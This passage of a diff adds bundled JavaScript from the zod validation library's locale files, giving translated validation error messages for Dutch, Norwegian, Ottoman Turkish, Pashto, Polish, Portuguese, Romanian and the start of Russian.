"heeft" }, + set: { unit: "elementen", verb: "heeft" } + }; + function getSizing(origin) { + return Sizable[origin] ?? null; + } + const FormatDictionary = { + regex: "invoer", + email: "emailadres", + url: "URL", + emoji: "emoji", + uuid: "UUID", + uuidv4: "UUIDv4", + uuidv6: "UUIDv6", + nanoid: "nanoid", + guid: "GUID", + cuid: "cuid", + cuid2: "cuid2", + ulid: "ULID", + xid: "XID", + ksuid: "KSUID", + datetime: "ISO datum en tijd", + date: "ISO datum", + time: "ISO tijd", + duration: "ISO duur", + ipv4: "IPv4-adres", + ipv6: "IPv6-adres", + cidrv4: "IPv4-bereik", + cidrv6: "IPv6-bereik", + base64: "base64-gecodeerde tekst", + base64url: "base64 URL-gecodeerde tekst", + json_string: "JSON string", + e164: "E.164-nummer", + jwt: "JWT", + template_literal: "invoer" + }; + const TypeDictionary = { + nan: "NaN", + number: "getal" + }; + return (issue2) => { + switch (issue2.code) { + case "invalid_type": { + const expected = TypeDictionary[issue2.expected] ?? issue2.expected; + const receivedType = parsedType(issue2.input); + const received = TypeDictionary[receivedType] ?? receivedType; + if (/^[A-Z]/.test(issue2.expected)) { + return `Ongeldige invoer: verwacht instanceof ${issue2.expected}, ontving ${received}`; + } + return `Ongeldige invoer: verwacht ${expected}, ontving ${received}`; + } + case "invalid_value": + if (issue2.values.length === 1) + return `Ongeldige invoer: verwacht ${stringifyPrimitive(issue2.values[0])}`; + return `Ongeldige optie: verwacht \xE9\xE9n van ${joinValues(issue2.values, "|")}`; + case "too_big": { + const adj = issue2.inclusive ? "<=" : "<"; + const sizing = getSizing(issue2.origin); + const longName = issue2.origin === "date" ? "laat" : issue2.origin === "string" ? "lang" : "groot"; + if (sizing) + return `Te ${longName}: verwacht dat ${issue2.origin ?? "waarde"} ${adj}${issue2.maximum.toString()} ${sizing.unit ?? "elementen"} ${sizing.verb}`; + return `Te ${longName}: verwacht dat ${issue2.origin ?? "waarde"} ${adj}${issue2.maximum.toString()} is`; + } + case "too_small": { + const adj = issue2.inclusive ? ">=" : ">"; + const sizing = getSizing(issue2.origin); + const shortName = issue2.origin === "date" ? "vroeg" : issue2.origin === "string" ? "kort" : "klein"; + if (sizing) { + return `Te ${shortName}: verwacht dat ${issue2.origin} ${adj}${issue2.minimum.toString()} ${sizing.unit} ${sizing.verb}`; + } + return `Te ${shortName}: verwacht dat ${issue2.origin} ${adj}${issue2.minimum.toString()} is`; + } + case "invalid_format": { + const _issue = issue2; + if (_issue.format === "starts_with") { + return `Ongeldige tekst: moet met "${_issue.prefix}" beginnen`; + } + if (_issue.format === "ends_with") + return `Ongeldige tekst: moet op "${_issue.suffix}" eindigen`; + if (_issue.format === "includes") + return `Ongeldige tekst: moet "${_issue.includes}" bevatten`; + if (_issue.format === "regex") + return `Ongeldige tekst: moet overeenkomen met patroon ${_issue.pattern}`; + return `Ongeldig: ${FormatDictionary[_issue.format] ?? issue2.format}`; + } + case "not_multiple_of": + return `Ongeldig getal: moet een veelvoud van ${issue2.divisor} zijn`; + case "unrecognized_keys": + return `Onbekende key${issue2.keys.length > 1 ? "s" : ""}: ${joinValues(issue2.keys, ", ")}`; + case "invalid_key": + return `Ongeldige key in ${issue2.origin}`; + case "invalid_union": + return "Ongeldige invoer"; + case "invalid_element": + return `Ongeldige waarde in ${issue2.origin}`; + default: + return `Ongeldige invoer`; + } + }; +}; +function nl_default() { + return { + localeError: error31() + }; +} + +// node_modules/.pnpm/zod@4.4.3/node_modules/zod/v4/locales/no.js +var error32 = () => { + const Sizable = { + string: { unit: "tegn", verb: "\xE5 ha" }, + file: { unit: "bytes", verb: "\xE5 ha" }, + array: { unit: "elementer", verb: "\xE5 inneholde" }, + set: { unit: "elementer", verb: "\xE5 inneholde" } + }; + function getSizing(origin) { + return Sizable[origin] ?? null; + } + const FormatDictionary = { + regex: "input", + email: "e-postadresse", + url: "URL", + emoji: "emoji", + uuid: "UUID", + uuidv4: "UUIDv4", + uuidv6: "UUIDv6", + nanoid: "nanoid", + guid: "GUID", + cuid: "cuid", + cuid2: "cuid2", + ulid: "ULID", + xid: "XID", + ksuid: "KSUID", + datetime: "ISO dato- og klokkeslett", + date: "ISO-dato", + time: "ISO-klokkeslett", + duration: "ISO-varighet", + ipv4: "IPv4-omr\xE5de", + ipv6: "IPv6-omr\xE5de", + cidrv4: "IPv4-spekter", + cidrv6: "IPv6-spekter", + base64: "base64-enkodet streng", + base64url: "base64url-enkodet streng", + json_string: "JSON-streng", + e164: "E.164-nummer", + jwt: "JWT", + template_literal: "input" + }; + const TypeDictionary = { + nan: "NaN", + number: "tall", + array: "liste" + }; + return (issue2) => { + switch (issue2.code) { + case "invalid_type": { + const expected = TypeDictionary[issue2.expected] ?? issue2.expected; + const receivedType = parsedType(issue2.input); + const received = TypeDictionary[receivedType] ?? receivedType; + if (/^[A-Z]/.test(issue2.expected)) { + return `Ugyldig input: forventet instanceof ${issue2.expected}, fikk ${received}`; + } + return `Ugyldig input: forventet ${expected}, fikk ${received}`; + } + case "invalid_value": + if (issue2.values.length === 1) + return `Ugyldig verdi: forventet ${stringifyPrimitive(issue2.values[0])}`; + return `Ugyldig valg: forventet en av ${joinValues(issue2.values, "|")}`; + case "too_big": { + const adj = issue2.inclusive ? "<=" : "<"; + const sizing = getSizing(issue2.origin); + if (sizing) + return `For stor(t): forventet ${issue2.origin ?? "value"} til \xE5 ha ${adj}${issue2.maximum.toString()} ${sizing.unit ?? "elementer"}`; + return `For stor(t): forventet ${issue2.origin ?? "value"} til \xE5 ha ${adj}${issue2.maximum.toString()}`; + } + case "too_small": { + const adj = issue2.inclusive ? ">=" : ">"; + const sizing = getSizing(issue2.origin); + if (sizing) { + return `For lite(n): forventet ${issue2.origin} til \xE5 ha ${adj}${issue2.minimum.toString()} ${sizing.unit}`; + } + return `For lite(n): forventet ${issue2.origin} til \xE5 ha ${adj}${issue2.minimum.toString()}`; + } + case "invalid_format": { + const _issue = issue2; + if (_issue.format === "starts_with") + return `Ugyldig streng: m\xE5 starte med "${_issue.prefix}"`; + if (_issue.format === "ends_with") + return `Ugyldig streng: m\xE5 ende med "${_issue.suffix}"`; + if (_issue.format === "includes") + return `Ugyldig streng: m\xE5 inneholde "${_issue.includes}"`; + if (_issue.format === "regex") + return `Ugyldig streng: m\xE5 matche m\xF8nsteret ${_issue.pattern}`; + return `Ugyldig ${FormatDictionary[_issue.format] ?? issue2.format}`; + } + case "not_multiple_of": + return `Ugyldig tall: m\xE5 v\xE6re et multiplum av ${issue2.divisor}`; + case "unrecognized_keys": + return `${issue2.keys.length > 1 ? "Ukjente n\xF8kler" : "Ukjent n\xF8kkel"}: ${joinValues(issue2.keys, ", ")}`; + case "invalid_key": + return `Ugyldig n\xF8kkel i ${issue2.origin}`; + case "invalid_union": + return "Ugyldig input"; + case "invalid_element": + return `Ugyldig verdi i ${issue2.origin}`; + default: + return `Ugyldig input`; + } + }; +}; +function no_default() { + return { + localeError: error32() + }; +} + +// node_modules/.pnpm/zod@4.4.3/node_modules/zod/v4/locales/ota.js +var error33 = () => { + const Sizable = { + string: { unit: "harf", verb: "olmal\u0131d\u0131r" }, + file: { unit: "bayt", verb: "olmal\u0131d\u0131r" }, + array: { unit: "unsur", verb: "olmal\u0131d\u0131r" }, + set: { unit: "unsur", verb: "olmal\u0131d\u0131r" } + }; + function getSizing(origin) { + return Sizable[origin] ?? null; + } + const FormatDictionary = { + regex: "giren", + email: "epostag\xE2h", + url: "URL", + emoji: "emoji", + uuid: "UUID", + uuidv4: "UUIDv4", + uuidv6: "UUIDv6", + nanoid: "nanoid", + guid: "GUID", + cuid: "cuid", + cuid2: "cuid2", + ulid: "ULID", + xid: "XID", + ksuid: "KSUID", + datetime: "ISO heng\xE2m\u0131", + date: "ISO tarihi", + time: "ISO zaman\u0131", + duration: "ISO m\xFCddeti", + ipv4: "IPv4 ni\u015F\xE2n\u0131", + ipv6: "IPv6 ni\u015F\xE2n\u0131", + cidrv4: "IPv4 menzili", + cidrv6: "IPv6 menzili", + base64: "base64-\u015Fifreli metin", + base64url: "base64url-\u015Fifreli metin", + json_string: "JSON metin", + e164: "E.164 say\u0131s\u0131", + jwt: "JWT", + template_literal: "giren" + }; + const TypeDictionary = { + nan: "NaN", + number: "numara", + array: "saf", + null: "gayb" + }; + return (issue2) => { + switch (issue2.code) { + case "invalid_type": { + const expected = TypeDictionary[issue2.expected] ?? issue2.expected; + const receivedType = parsedType(issue2.input); + const received = TypeDictionary[receivedType] ?? receivedType; + if (/^[A-Z]/.test(issue2.expected)) { + return `F\xE2sit giren: umulan instanceof ${issue2.expected}, al\u0131nan ${received}`; + } + return `F\xE2sit giren: umulan ${expected}, al\u0131nan ${received}`; + } + case "invalid_value": + if (issue2.values.length === 1) + return `F\xE2sit giren: umulan ${stringifyPrimitive(issue2.values[0])}`; + return `F\xE2sit tercih: m\xFBteberler ${joinValues(issue2.values, "|")}`; + case "too_big": { + const adj = issue2.inclusive ? "<=" : "<"; + const sizing = getSizing(issue2.origin); + if (sizing) + return `Fazla b\xFCy\xFCk: ${issue2.origin ?? "value"}, ${adj}${issue2.maximum.toString()} ${sizing.unit ?? "elements"} sahip olmal\u0131yd\u0131.`; + return `Fazla b\xFCy\xFCk: ${issue2.origin ?? "value"}, ${adj}${issue2.maximum.toString()} olmal\u0131yd\u0131.`; + } + case "too_small": { + const adj = issue2.inclusive ? ">=" : ">"; + const sizing = getSizing(issue2.origin); + if (sizing) { + return `Fazla k\xFC\xE7\xFCk: ${issue2.origin}, ${adj}${issue2.minimum.toString()} ${sizing.unit} sahip olmal\u0131yd\u0131.`; + } + return `Fazla k\xFC\xE7\xFCk: ${issue2.origin}, ${adj}${issue2.minimum.toString()} olmal\u0131yd\u0131.`; + } + case "invalid_format": { + const _issue = issue2; + if (_issue.format === "starts_with") + return `F\xE2sit metin: "${_issue.prefix}" ile ba\u015Flamal\u0131.`; + if (_issue.format === "ends_with") + return `F\xE2sit metin: "${_issue.suffix}" ile bitmeli.`; + if (_issue.format === "includes") + return `F\xE2sit metin: "${_issue.includes}" ihtiv\xE2 etmeli.`; + if (_issue.format === "regex") + return `F\xE2sit metin: ${_issue.pattern} nak\u015F\u0131na uymal\u0131.`; + return `F\xE2sit ${FormatDictionary[_issue.format] ?? issue2.format}`; + } + case "not_multiple_of": + return `F\xE2sit say\u0131: ${issue2.divisor} kat\u0131 olmal\u0131yd\u0131.`; + case "unrecognized_keys": + return `Tan\u0131nmayan anahtar ${issue2.keys.length > 1 ? "s" : ""}: ${joinValues(issue2.keys, ", ")}`; + case "invalid_key": + return `${issue2.origin} i\xE7in tan\u0131nmayan anahtar var.`; + case "invalid_union": + return "Giren tan\u0131namad\u0131."; + case "invalid_element": + return `${issue2.origin} i\xE7in tan\u0131nmayan k\u0131ymet var.`; + default: + return `K\u0131ymet tan\u0131namad\u0131.`; + } + }; +}; +function ota_default() { + return { + localeError: error33() + }; +} + +// node_modules/.pnpm/zod@4.4.3/node_modules/zod/v4/locales/ps.js +var error34 = () => { + const Sizable = { + string: { unit: "\u062A\u0648\u06A9\u064A", verb: "\u0648\u0644\u0631\u064A" }, + file: { unit: "\u0628\u0627\u06CC\u067C\u0633", verb: "\u0648\u0644\u0631\u064A" }, + array: { unit: "\u062A\u0648\u06A9\u064A", verb: "\u0648\u0644\u0631\u064A" }, + set: { unit: "\u062A\u0648\u06A9\u064A", verb: "\u0648\u0644\u0631\u064A" } + }; + function getSizing(origin) { + return Sizable[origin] ?? null; + } + const FormatDictionary = { + regex: "\u0648\u0631\u0648\u062F\u064A", + email: "\u0628\u0631\u06CC\u069A\u0646\u0627\u0644\u06CC\u06A9", + url: "\u06CC\u0648 \u0622\u0631 \u0627\u0644", + emoji: "\u0627\u06CC\u0645\u0648\u062C\u064A", + uuid: "UUID", + uuidv4: "UUIDv4", + uuidv6: "UUIDv6", + nanoid: "nanoid", + guid: "GUID", + cuid: "cuid", + cuid2: "cuid2", + ulid: "ULID", + xid: "XID", + ksuid: "KSUID", + datetime: "\u0646\u06CC\u067C\u0647 \u0627\u0648 \u0648\u062E\u062A", + date: "\u0646\u06D0\u067C\u0647", + time: "\u0648\u062E\u062A", + duration: "\u0645\u0648\u062F\u0647", + ipv4: "\u062F IPv4 \u067E\u062A\u0647", + ipv6: "\u062F IPv6 \u067E\u062A\u0647", + cidrv4: "\u062F IPv4 \u0633\u0627\u062D\u0647", + cidrv6: "\u062F IPv6 \u0633\u0627\u062D\u0647", + base64: "base64-encoded \u0645\u062A\u0646", + base64url: "base64url-encoded \u0645\u062A\u0646", + json_string: "JSON \u0645\u062A\u0646", + e164: "\u062F E.164 \u0634\u0645\u06D0\u0631\u0647", + jwt: "JWT", + template_literal: "\u0648\u0631\u0648\u062F\u064A" + }; + const TypeDictionary = { + nan: "NaN", + number: "\u0639\u062F\u062F", + array: "\u0627\u0631\u06D0" + }; + return (issue2) => { + switch (issue2.code) { + case "invalid_type": { + const expected = TypeDictionary[issue2.expected] ?? issue2.expected; + const receivedType = parsedType(issue2.input); + const received = TypeDictionary[receivedType] ?? receivedType; + if (/^[A-Z]/.test(issue2.expected)) { + return `\u0646\u0627\u0633\u0645 \u0648\u0631\u0648\u062F\u064A: \u0628\u0627\u06CC\u062F instanceof ${issue2.expected} \u0648\u0627\u06CC, \u0645\u06AB\u0631 ${received} \u062A\u0631\u0644\u0627\u0633\u0647 \u0634\u0648`; + } + return `\u0646\u0627\u0633\u0645 \u0648\u0631\u0648\u062F\u064A: \u0628\u0627\u06CC\u062F ${expected} \u0648\u0627\u06CC, \u0645\u06AB\u0631 ${received} \u062A\u0631\u0644\u0627\u0633\u0647 \u0634\u0648`; + } + case "invalid_value": + if (issue2.values.length === 1) { + return `\u0646\u0627\u0633\u0645 \u0648\u0631\u0648\u062F\u064A: \u0628\u0627\u06CC\u062F ${stringifyPrimitive(issue2.values[0])} \u0648\u0627\u06CC`; + } + return `\u0646\u0627\u0633\u0645 \u0627\u0646\u062A\u062E\u0627\u0628: \u0628\u0627\u06CC\u062F \u06CC\u0648 \u0644\u0647 ${joinValues(issue2.values, "|")} \u0685\u062E\u0647 \u0648\u0627\u06CC`; + case "too_big": { + const adj = issue2.inclusive ? "<=" : "<"; + const sizing = getSizing(issue2.origin); + if (sizing) { + return `\u0689\u06CC\u0631 \u0644\u0648\u06CC: ${issue2.origin ?? "\u0627\u0631\u0632\u069A\u062A"} \u0628\u0627\u06CC\u062F ${adj}${issue2.maximum.toString()} ${sizing.unit ?? "\u0639\u0646\u0635\u0631\u0648\u0646\u0647"} \u0648\u0644\u0631\u064A`; + } + return `\u0689\u06CC\u0631 \u0644\u0648\u06CC: ${issue2.origin ?? "\u0627\u0631\u0632\u069A\u062A"} \u0628\u0627\u06CC\u062F ${adj}${issue2.maximum.toString()} \u0648\u064A`; + } + case "too_small": { + const adj = issue2.inclusive ? ">=" : ">"; + const sizing = getSizing(issue2.origin); + if (sizing) { + return `\u0689\u06CC\u0631 \u06A9\u0648\u0686\u0646\u06CC: ${issue2.origin} \u0628\u0627\u06CC\u062F ${adj}${issue2.minimum.toString()} ${sizing.unit} \u0648\u0644\u0631\u064A`; + } + return `\u0689\u06CC\u0631 \u06A9\u0648\u0686\u0646\u06CC: ${issue2.origin} \u0628\u0627\u06CC\u062F ${adj}${issue2.minimum.toString()} \u0648\u064A`; + } + case "invalid_format": { + const _issue = issue2; + if (_issue.format === "starts_with") { + return `\u0646\u0627\u0633\u0645 \u0645\u062A\u0646: \u0628\u0627\u06CC\u062F \u062F "${_issue.prefix}" \u0633\u0631\u0647 \u067E\u06CC\u0644 \u0634\u064A`; + } + if (_issue.format === "ends_with") { + return `\u0646\u0627\u0633\u0645 \u0645\u062A\u0646: \u0628\u0627\u06CC\u062F \u062F "${_issue.suffix}" \u0633\u0631\u0647 \u067E\u0627\u06CC \u062A\u0647 \u0648\u0631\u0633\u064A\u0696\u064A`; + } + if (_issue.format === "includes") { + return `\u0646\u0627\u0633\u0645 \u0645\u062A\u0646: \u0628\u0627\u06CC\u062F "${_issue.includes}" \u0648\u0644\u0631\u064A`; + } + if (_issue.format === "regex") { + return `\u0646\u0627\u0633\u0645 \u0645\u062A\u0646: \u0628\u0627\u06CC\u062F \u062F ${_issue.pattern} \u0633\u0631\u0647 \u0645\u0637\u0627\u0628\u0642\u062A \u0648\u0644\u0631\u064A`; + } + return `${FormatDictionary[_issue.format] ?? issue2.format} \u0646\u0627\u0633\u0645 \u062F\u06CC`; + } + case "not_multiple_of": + return `\u0646\u0627\u0633\u0645 \u0639\u062F\u062F: \u0628\u0627\u06CC\u062F \u062F ${issue2.divisor} \u0645\u0636\u0631\u0628 \u0648\u064A`; + case "unrecognized_keys": + return `\u0646\u0627\u0633\u0645 ${issue2.keys.length > 1 ? "\u06A9\u0644\u06CC\u0689\u0648\u0646\u0647" : "\u06A9\u0644\u06CC\u0689"}: ${joinValues(issue2.keys, ", ")}`; + case "invalid_key": + return `\u0646\u0627\u0633\u0645 \u06A9\u0644\u06CC\u0689 \u067E\u0647 ${issue2.origin} \u06A9\u06D0`; + case "invalid_union": + return `\u0646\u0627\u0633\u0645\u0647 \u0648\u0631\u0648\u062F\u064A`; + case "invalid_element": + return `\u0646\u0627\u0633\u0645 \u0639\u0646\u0635\u0631 \u067E\u0647 ${issue2.origin} \u06A9\u06D0`; + default: + return `\u0646\u0627\u0633\u0645\u0647 \u0648\u0631\u0648\u062F\u064A`; + } + }; +}; +function ps_default() { + return { + localeError: error34() + }; +} + +// node_modules/.pnpm/zod@4.4.3/node_modules/zod/v4/locales/pl.js +var error35 = () => { + const Sizable = { + string: { unit: "znak\xF3w", verb: "mie\u0107" }, + file: { unit: "bajt\xF3w", verb: "mie\u0107" }, + array: { unit: "element\xF3w", verb: "mie\u0107" }, + set: { unit: "element\xF3w", verb: "mie\u0107" } + }; + function getSizing(origin) { + return Sizable[origin] ?? null; + } + const FormatDictionary = { + regex: "wyra\u017Cenie", + email: "adres email", + url: "URL", + emoji: "emoji", + uuid: "UUID", + uuidv4: "UUIDv4", + uuidv6: "UUIDv6", + nanoid: "nanoid", + guid: "GUID", + cuid: "cuid", + cuid2: "cuid2", + ulid: "ULID", + xid: "XID", + ksuid: "KSUID", + datetime: "data i godzina w formacie ISO", + date: "data w formacie ISO", + time: "godzina w formacie ISO", + duration: "czas trwania ISO", + ipv4: "adres IPv4", + ipv6: "adres IPv6", + cidrv4: "zakres IPv4", + cidrv6: "zakres IPv6", + base64: "ci\u0105g znak\xF3w zakodowany w formacie base64", + base64url: "ci\u0105g znak\xF3w zakodowany w formacie base64url", + json_string: "ci\u0105g znak\xF3w w formacie JSON", + e164: "liczba E.164", + jwt: "JWT", + template_literal: "wej\u015Bcie" + }; + const TypeDictionary = { + nan: "NaN", + number: "liczba", + array: "tablica" + }; + return (issue2) => { + switch (issue2.code) { + case "invalid_type": { + const expected = TypeDictionary[issue2.expected] ?? issue2.expected; + const receivedType = parsedType(issue2.input); + const received = TypeDictionary[receivedType] ?? receivedType; + if (/^[A-Z]/.test(issue2.expected)) { + return `Nieprawid\u0142owe dane wej\u015Bciowe: oczekiwano instanceof ${issue2.expected}, otrzymano ${received}`; + } + return `Nieprawid\u0142owe dane wej\u015Bciowe: oczekiwano ${expected}, otrzymano ${received}`; + } + case "invalid_value": + if (issue2.values.length === 1) + return `Nieprawid\u0142owe dane wej\u015Bciowe: oczekiwano ${stringifyPrimitive(issue2.values[0])}`; + return `Nieprawid\u0142owa opcja: oczekiwano jednej z warto\u015Bci ${joinValues(issue2.values, "|")}`; + case "too_big": { + const adj = issue2.inclusive ? "<=" : "<"; + const sizing = getSizing(issue2.origin); + if (sizing) { + return `Za du\u017Ca warto\u015B\u0107: oczekiwano, \u017Ce ${issue2.origin ?? "warto\u015B\u0107"} b\u0119dzie mie\u0107 ${adj}${issue2.maximum.toString()} ${sizing.unit ?? "element\xF3w"}`; + } + return `Zbyt du\u017C(y/a/e): oczekiwano, \u017Ce ${issue2.origin ?? "warto\u015B\u0107"} b\u0119dzie wynosi\u0107 ${adj}${issue2.maximum.toString()}`; + } + case "too_small": { + const adj = issue2.inclusive ? ">=" : ">"; + const sizing = getSizing(issue2.origin); + if (sizing) { + return `Za ma\u0142a warto\u015B\u0107: oczekiwano, \u017Ce ${issue2.origin ?? "warto\u015B\u0107"} b\u0119dzie mie\u0107 ${adj}${issue2.minimum.toString()} ${sizing.unit ?? "element\xF3w"}`; + } + return `Zbyt ma\u0142(y/a/e): oczekiwano, \u017Ce ${issue2.origin ?? "warto\u015B\u0107"} b\u0119dzie wynosi\u0107 ${adj}${issue2.minimum.toString()}`; + } + case "invalid_format": { + const _issue = issue2; + if (_issue.format === "starts_with") + return `Nieprawid\u0142owy ci\u0105g znak\xF3w: musi zaczyna\u0107 si\u0119 od "${_issue.prefix}"`; + if (_issue.format === "ends_with") + return `Nieprawid\u0142owy ci\u0105g znak\xF3w: musi ko\u0144czy\u0107 si\u0119 na "${_issue.suffix}"`; + if (_issue.format === "includes") + return `Nieprawid\u0142owy ci\u0105g znak\xF3w: musi zawiera\u0107 "${_issue.includes}"`; + if (_issue.format === "regex") + return `Nieprawid\u0142owy ci\u0105g znak\xF3w: musi odpowiada\u0107 wzorcowi ${_issue.pattern}`; + return `Nieprawid\u0142ow(y/a/e) ${FormatDictionary[_issue.format] ?? issue2.format}`; + } + case "not_multiple_of": + return `Nieprawid\u0142owa liczba: musi by\u0107 wielokrotno\u015Bci\u0105 ${issue2.divisor}`; + case "unrecognized_keys": + return `Nierozpoznane klucze${issue2.keys.length > 1 ? "s" : ""}: ${joinValues(issue2.keys, ", ")}`; + case "invalid_key": + return `Nieprawid\u0142owy klucz w ${issue2.origin}`; + case "invalid_union": + return "Nieprawid\u0142owe dane wej\u015Bciowe"; + case "invalid_element": + return `Nieprawid\u0142owa warto\u015B\u0107 w ${issue2.origin}`; + default: + return `Nieprawid\u0142owe dane wej\u015Bciowe`; + } + }; +}; +function pl_default() { + return { + localeError: error35() + }; +} + +// node_modules/.pnpm/zod@4.4.3/node_modules/zod/v4/locales/pt.js +var error36 = () => { + const Sizable = { + string: { unit: "caracteres", verb: "ter" }, + file: { unit: "bytes", verb: "ter" }, + array: { unit: "itens", verb: "ter" }, + set: { unit: "itens", verb: "ter" } + }; + function getSizing(origin) { + return Sizable[origin] ?? null; + } + const FormatDictionary = { + regex: "padr\xE3o", + email: "endere\xE7o de e-mail", + url: "URL", + emoji: "emoji", + uuid: "UUID", + uuidv4: "UUIDv4", + uuidv6: "UUIDv6", + nanoid: "nanoid", + guid: "GUID", + cuid: "cuid", + cuid2: "cuid2", + ulid: "ULID", + xid: "XID", + ksuid: "KSUID", + datetime: "data e hora ISO", + date: "data ISO", + time: "hora ISO", + duration: "dura\xE7\xE3o ISO", + ipv4: "endere\xE7o IPv4", + ipv6: "endere\xE7o IPv6", + cidrv4: "faixa de IPv4", + cidrv6: "faixa de IPv6", + base64: "texto codificado em base64", + base64url: "URL codificada em base64", + json_string: "texto JSON", + e164: "n\xFAmero E.164", + jwt: "JWT", + template_literal: "entrada" + }; + const TypeDictionary = { + nan: "NaN", + number: "n\xFAmero", + null: "nulo" + }; + return (issue2) => { + switch (issue2.code) { + case "invalid_type": { + const expected = TypeDictionary[issue2.expected] ?? issue2.expected; + const receivedType = parsedType(issue2.input); + const received = TypeDictionary[receivedType] ?? receivedType; + if (/^[A-Z]/.test(issue2.expected)) { + return `Tipo inv\xE1lido: esperado instanceof ${issue2.expected}, recebido ${received}`; + } + return `Tipo inv\xE1lido: esperado ${expected}, recebido ${received}`; + } + case "invalid_value": + if (issue2.values.length === 1) + return `Entrada inv\xE1lida: esperado ${stringifyPrimitive(issue2.values[0])}`; + return `Op\xE7\xE3o inv\xE1lida: esperada uma das ${joinValues(issue2.values, "|")}`; + case "too_big": { + const adj = issue2.inclusive ? "<=" : "<"; + const sizing = getSizing(issue2.origin); + if (sizing) + return `Muito grande: esperado que ${issue2.origin ?? "valor"} tivesse ${adj}${issue2.maximum.toString()} ${sizing.unit ?? "elementos"}`; + return `Muito grande: esperado que ${issue2.origin ?? "valor"} fosse ${adj}${issue2.maximum.toString()}`; + } + case "too_small": { + const adj = issue2.inclusive ? ">=" : ">"; + const sizing = getSizing(issue2.origin); + if (sizing) { + return `Muito pequeno: esperado que ${issue2.origin} tivesse ${adj}${issue2.minimum.toString()} ${sizing.unit}`; + } + return `Muito pequeno: esperado que ${issue2.origin} fosse ${adj}${issue2.minimum.toString()}`; + } + case "invalid_format": { + const _issue = issue2; + if (_issue.format === "starts_with") + return `Texto inv\xE1lido: deve come\xE7ar com "${_issue.prefix}"`; + if (_issue.format === "ends_with") + return `Texto inv\xE1lido: deve terminar com "${_issue.suffix}"`; + if (_issue.format === "includes") + return `Texto inv\xE1lido: deve incluir "${_issue.includes}"`; + if (_issue.format === "regex") + return `Texto inv\xE1lido: deve corresponder ao padr\xE3o ${_issue.pattern}`; + return `${FormatDictionary[_issue.format] ?? issue2.format} inv\xE1lido`; + } + case "not_multiple_of": + return `N\xFAmero inv\xE1lido: deve ser m\xFAltiplo de ${issue2.divisor}`; + case "unrecognized_keys": + return `Chave${issue2.keys.length > 1 ? "s" : ""} desconhecida${issue2.keys.length > 1 ? "s" : ""}: ${joinValues(issue2.keys, ", ")}`; + case "invalid_key": + return `Chave inv\xE1lida em ${issue2.origin}`; + case "invalid_union": + return "Entrada inv\xE1lida"; + case "invalid_element": + return `Valor inv\xE1lido em ${issue2.origin}`; + default: + return `Campo inv\xE1lido`; + } + }; +}; +function pt_default() { + return { + localeError: error36() + }; +} + +// node_modules/.pnpm/zod@4.4.3/node_modules/zod/v4/locales/ro.js +var error37 = () => { + const Sizable = { + string: { unit: "caractere", verb: "s\u0103 aib\u0103" }, + file: { unit: "octe\u021Bi", verb: "s\u0103 aib\u0103" }, + array: { unit: "elemente", verb: "s\u0103 aib\u0103" }, + set: { unit: "elemente", verb: "s\u0103 aib\u0103" }, + map: { unit: "intr\u0103ri", verb: "s\u0103 aib\u0103" } + }; + function getSizing(origin) { + return Sizable[origin] ?? null; + } + const FormatDictionary = { + regex: "intrare", + email: "adres\u0103 de email", + url: "URL", + emoji: "emoji", + uuid: "UUID", + uuidv4: "UUIDv4", + uuidv6: "UUIDv6", + nanoid: "nanoid", + guid: "GUID", + cuid: "cuid", + cuid2: "cuid2", + ulid: "ULID", + xid: "XID", + ksuid: "KSUID", + datetime: "dat\u0103 \u0219i or\u0103 ISO", + date: "dat\u0103 ISO", + time: "or\u0103 ISO", + duration: "durat\u0103 ISO", + ipv4: "adres\u0103 IPv4", + ipv6: "adres\u0103 IPv6", + mac: "adres\u0103 MAC", + cidrv4: "interval IPv4", + cidrv6: "interval IPv6", + base64: "\u0219ir codat base64", + base64url: "\u0219ir codat base64url", + json_string: "\u0219ir JSON", + e164: "num\u0103r E.164", + jwt: "JWT", + template_literal: "intrare" + }; + const TypeDictionary = { + nan: "NaN", + string: "\u0219ir", + number: "num\u0103r", + boolean: "boolean", + function: "func\u021Bie", + array: "matrice", + object: "obiect", + undefined: "nedefinit", + symbol: "simbol", + bigint: "num\u0103r mare", + void: "void", + never: "never", + map: "hart\u0103", + set: "set" + }; + return (issue2) => { + switch (issue2.code) { + case "invalid_type": { + const expected = TypeDictionary[issue2.expected] ?? issue2.expected; + const receivedType = parsedType(issue2.input); + const received = TypeDictionary[receivedType] ?? receivedType; + return `Intrare invalid\u0103: a\u0219teptat ${expected}, primit ${received}`; + } + case "invalid_value": + if (issue2.values.length === 1) + return `Intrare invalid\u0103: a\u0219teptat ${stringifyPrimitive(issue2.values[0])}`; + return `Op\u021Biune invalid\u0103: a\u0219teptat una dintre ${joinValues(issue2.values, "|")}`; + case "too_big": { + const adj = issue2.inclusive ? "<=" : "<"; + const sizing = getSizing(issue2.origin); + if (sizing) + return `Prea mare: a\u0219teptat ca ${issue2.origin ?? "valoarea"} ${sizing.verb} ${adj}${issue2.maximum.toString()} ${sizing.unit ?? "elemente"}`; + return `Prea mare: a\u0219teptat ca ${issue2.origin ?? "valoarea"} s\u0103 fie ${adj}${issue2.maximum.toString()}`; + } + case "too_small": { + const adj = issue2.inclusive ? ">=" : ">"; + const sizing = getSizing(issue2.origin); + if (sizing) { + return `Prea mic: a\u0219teptat ca ${issue2.origin} ${sizing.verb} ${adj}${issue2.minimum.toString()} ${sizing.unit}`; + } + return `Prea mic: a\u0219teptat ca ${issue2.origin} s\u0103 fie ${adj}${issue2.minimum.toString()}`; + } + case "invalid_format": { + const _issue = issue2; + if (_issue.format === "starts_with") { + return `\u0218ir invalid: trebuie s\u0103 \xEEnceap\u0103 cu "${_issue.prefix}"`; + } + if (_issue.format === "ends_with") + return `\u0218ir invalid: trebuie s\u0103 se termine cu "${_issue.suffix}"`; + if (_issue.format === "includes") + return `\u0218ir invalid: trebuie s\u0103 includ\u0103 "${_issue.includes}"`; + if (_issue.format === "regex") + return `\u0218ir invalid: trebuie s\u0103 se potriveasc\u0103 cu modelul ${_issue.pattern}`; + return `Format invalid: ${FormatDictionary[_issue.format] ?? issue2.format}`; + } + case "not_multiple_of": + return `Num\u0103r invalid: trebuie s\u0103 fie multiplu de ${issue2.divisor}`; + case "unrecognized_keys": + return `Chei nerecunoscute: ${joinValues(issue2.keys, ", ")}`; + case "invalid_key": + return `Cheie invalid\u0103 \xEEn ${issue2.origin}`; + case "invalid_union": + return "Intrare invalid\u0103"; + case "invalid_element": + return `Valoare invalid\u0103 \xEEn ${issue2.origin}`; + default: + return `Intrare invalid\u0103`; + } + }; +}; +function ro_default() { + return { + localeError: error37() + }; +} + +// node_modules/.pnpm/zod@4.4.3/node_modules/zod/v4/locales/ru.js +function getRussianPlural(count, one, few, many) { + const absCount = Math.abs(count); + 